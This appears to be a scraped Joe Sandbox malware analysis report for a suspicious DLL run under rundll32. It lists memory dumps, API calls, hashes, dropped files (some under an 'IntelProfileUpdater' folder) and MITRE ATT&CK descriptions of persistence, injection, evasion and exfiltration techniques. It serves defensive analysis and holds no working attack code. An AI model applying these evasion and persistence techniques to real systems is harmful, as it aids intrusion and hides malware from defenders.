GetCurrentThreadId.KERNEL32 ref: 00007FF8A8342B46
GetCurrentProcessId.KERNEL32 ref: 00007FF8A8342B52
QueryPerformanceCounter.KERNEL32 ref: 00007FF8A8342B62

Memory Dump Source

Source File: 0000001C.00000002.2281466433.00007FF8A8291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8290000, based on PE: true

Associated: 0000001C.00000002.2281383397.00007FF8A8290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2282551840.00007FF8A862D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2291131251.00007FF8A8ED1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2291301337.00007FF8A8ED2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2291428746.00007FF8A8EF1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2291428746.00007FF8A8EF4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2291428746.00007FF8A8EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2292077036.00007FF8A8EF9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff8a8290000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction ID: cfae8a2047eeb99a286b6d80f76571c318b54ef1adecabdf29b444660a4e9233
Opcode Fuzzy Hash: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction Fuzzy Hash: D0114C22B19F059AEB00CF60E8442A833A4FB19798F440A31DA6D467A4DF3CD1A88750

Analysis Process: rundll32.exePID: 7592, Parent PID: 3008COMMON

Non-executed Functions

Function 00007FF8A8342B0C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8A8342B38
GetCurrentThreadId.KERNEL32 ref: 00007FF8A8342B46
GetCurrentProcessId.KERNEL32 ref: 00007FF8A8342B52
QueryPerformanceCounter.KERNEL32 ref: 00007FF8A8342B62

Memory Dump Source

Source File: 0000001D.00000002.2384576126.00007FF8A8291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8290000, based on PE: true

Associated: 0000001D.00000002.2384541565.00007FF8A8290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2384946907.00007FF8A862D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2386592071.00007FF8A8ED1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2386639797.00007FF8A8ED2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2386684909.00007FF8A8EDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2386761964.00007FF8A8EF1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2386761964.00007FF8A8EF4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2386761964.00007FF8A8EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2386918028.00007FF8A8EF9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff8a8290000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction ID: cfae8a2047eeb99a286b6d80f76571c318b54ef1adecabdf29b444660a4e9233
Opcode Fuzzy Hash: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction Fuzzy Hash: D0114C22B19F059AEB00CF60E8442A833A4FB19798F440A31DA6D467A4DF3CD1A88750

Analysis Process: rundll32.exePID: 7604, Parent PID: 3008COMMON

Non-executed Functions

Function 00007FF8A8342B0C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8A8342B38
GetCurrentThreadId.KERNEL32 ref: 00007FF8A8342B46
GetCurrentProcessId.KERNEL32 ref: 00007FF8A8342B52
QueryPerformanceCounter.KERNEL32 ref: 00007FF8A8342B62

Memory Dump Source

Source File: 0000001E.00000002.2285390162.00007FF8A8291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8290000, based on PE: true

Associated: 0000001E.00000002.2285010597.00007FF8A8290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001E.00000002.2289165066.00007FF8A862D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001E.00000002.2291296762.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001E.00000002.2296231803.00007FF8A8ED1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001E.00000002.2296463941.00007FF8A8ED2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001E.00000002.2298887776.00007FF8A8EDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001E.00000002.2298887776.00007FF8A8EE1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001E.00000002.2301134185.00007FF8A8EF1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001E.00000002.2301134185.00007FF8A8EF4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001E.00000002.2301134185.00007FF8A8EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001E.00000002.2301299078.00007FF8A8EF9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ff8a8290000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction ID: cfae8a2047eeb99a286b6d80f76571c318b54ef1adecabdf29b444660a4e9233
Opcode Fuzzy Hash: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction Fuzzy Hash: D0114C22B19F059AEB00CF60E8442A833A4FB19798F440A31DA6D467A4DF3CD1A88750

Analysis Process: rundll32.exePID: 7632, Parent PID: 3008COMMON

Non-executed Functions

Function 00007FF8A8342B0C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8A8342B38
GetCurrentThreadId.KERNEL32 ref: 00007FF8A8342B46
GetCurrentProcessId.KERNEL32 ref: 00007FF8A8342B52
QueryPerformanceCounter.KERNEL32 ref: 00007FF8A8342B62

Memory Dump Source

Source File: 0000001F.00000002.2281988549.00007FF8A8291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8290000, based on PE: true

Associated: 0000001F.00000002.2281910922.00007FF8A8290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001F.00000002.2283983828.00007FF8A862D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001F.00000002.2285462860.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001F.00000002.2292686047.00007FF8A8ED1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001F.00000002.2292886244.00007FF8A8ED2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001F.00000002.2293078139.00007FF8A8EF1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001F.00000002.2293078139.00007FF8A8EF4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001F.00000002.2293078139.00007FF8A8EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001F.00000002.2293807775.00007FF8A8EF9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ff8a8290000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction ID: cfae8a2047eeb99a286b6d80f76571c318b54ef1adecabdf29b444660a4e9233
Opcode Fuzzy Hash: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction Fuzzy Hash: D0114C22B19F059AEB00CF60E8442A833A4FB19798F440A31DA6D467A4DF3CD1A88750

Analysis Process: rundll32.exePID: 7648, Parent PID: 3008COMMON

Non-executed Functions

Function 00007FF8A8342B0C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8A8342B38
GetCurrentThreadId.KERNEL32 ref: 00007FF8A8342B46
GetCurrentProcessId.KERNEL32 ref: 00007FF8A8342B52
QueryPerformanceCounter.KERNEL32 ref: 00007FF8A8342B62

Memory Dump Source

Source File: 00000020.00000002.2508009545.00007FF8A8291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8290000, based on PE: true

Associated: 00000020.00000002.2507984891.00007FF8A8290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000020.00000002.2508302016.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000020.00000002.2508764157.00007FF8A8ED1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000020.00000002.2508796459.00007FF8A8ED7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000020.00000002.2508826195.00007FF8A8ED8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000020.00000002.2508860858.00007FF8A8EF9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ff8a8290000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction ID: cfae8a2047eeb99a286b6d80f76571c318b54ef1adecabdf29b444660a4e9233
Opcode Fuzzy Hash: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction Fuzzy Hash: D0114C22B19F059AEB00CF60E8442A833A4FB19798F440A31DA6D467A4DF3CD1A88750

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report uEhN67huiV.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\IntelProfileUpdater\error.txt

C:\Program Files\IntelProfileUpdater\logs.txt

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_uEh_5e5c28390f571c393353abfa25ab04eb163be97_e1ccb045_140f8350-4cfa-443e-a3cb-913d81dee73a\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_uEh_fc301e34d6fcb61ad8c14ceff7e5e59f8a81dc_e1ccb045_41a9474c-6534-484b-b2bf-e72c3f832195\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER263.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2657.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2761.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER27C0.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2E1.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER350.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_14oapfdy.n21.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_32vo1xfo.1ei.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4vrngnpp.beh.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dujogeph.3uy.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_exepyjte.wb5.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_flkjbnl4.rxz.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_if5iuchr.w3y.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r22k5vgz.tty.psm1

Windows Analysis Report
uEhN67huiV.dll

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre